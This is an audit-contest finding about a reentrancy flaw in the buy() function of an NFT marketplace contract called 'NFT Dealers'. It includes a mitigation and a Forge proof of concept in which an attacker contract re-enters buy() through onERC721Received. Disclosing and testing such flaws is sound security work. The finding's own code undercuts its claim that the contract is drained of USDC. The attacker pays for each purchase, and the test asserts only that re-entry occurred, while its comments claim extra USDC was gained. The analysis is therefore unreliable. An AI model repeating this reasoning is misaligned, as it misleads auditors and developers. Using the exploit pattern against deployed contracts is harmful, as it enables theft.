NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

H-2: Reentrancy in `buy()` — NFT Transferred Before Listing Deactivated

Author Revealed upon completion

Description:

In buy(), _safeTransfer is called before s_listings[_listingId].isActive is set to false. The _safeTransfer function calls onERC721Received on the recipient if it is a contract, giving an attacker the opportunity to re-enter buy() and purchase the same listing again before it is marked inactive.

function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
...
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, ""); // ← triggers onERC721Received
s_listings[_listingId].isActive = false; // ← too late
...
}

Impact: A malicious contract buyer can purchase the same NFT multiple times in a single transaction, draining the contract of USDC.

Recommended Mitigation:

function buy(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
// Effects before interactions
s_listings[_listingId].isActive = false;
activeListingsCounter--;
usdc.safeTransferFrom(msg.sender, address(this), listing.price);
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
emit NFT_Dealers_Sold(msg.sender, listing.price);
}

Proof of Concept (Forge):

// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;
import {Test} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract ReentrantBuyer is IERC721Receiver {
NFTDealers public target;
MockUSDC public usdc;
uint256 public listingId;
uint256 public attackCount;
uint256 public constant ATTACKS = 2;
constructor(address _target, address _usdc) {
target = NFTDealers(_target);
usdc = MockUSDC(_usdc);
}
function attack(uint256 _listingId, uint256 _price) external {
listingId = _listingId;
usdc.approve(address(target), _price * ATTACKS);
target.buy(_listingId);
}
function onERC721Received(address, address, uint256, bytes calldata)
external
override
returns (bytes4)
{
if (attackCount < ATTACKS) {
attackCount++;
// Re-enter buy() — listing still active!
target.buy(listingId);
}
return IERC721Receiver.onERC721Received.selector;
}
}
contract ReentrancyBuyTest is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
address public owner = makeAddr("owner");
address public seller = makeAddr("seller");
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(owner, address(usdc), "NFTDealers", "NFTD",
"https://example.com", 20e6);
// Setup: reveal, whitelist, mint, list
vm.prank(owner); nftDealers.revealCollection();
vm.prank(owner); nftDealers.whitelistWallet(seller);
usdc.mint(seller, 20e6);
vm.startPrank(seller);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(1, 1000e6);
vm.stopPrank();
}
function test_reentrancy_buy() public {
ReentrantBuyer attacker = new ReentrantBuyer(address(nftDealers), address(usdc));
usdc.mint(address(attacker), 2000e6); // Fund for 2 buys
uint256 contractBalanceBefore = usdc.balanceOf(address(nftDealers));
attacker.attack(1, 1000e6);
// If reentrancy succeeded, attacker drained more USDC than expected
uint256 contractBalanceAfter = usdc.balanceOf(address(nftDealers));
// Attacker should have received extra USDC from the reentrant purchase
assertGt(attacker.attackCount(), 0, "Reentrancy did not trigger");
emit log_named_uint("Contract USDC before", contractBalanceBefore);
emit log_named_uint("Contract USDC after", contractBalanceAfter);
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!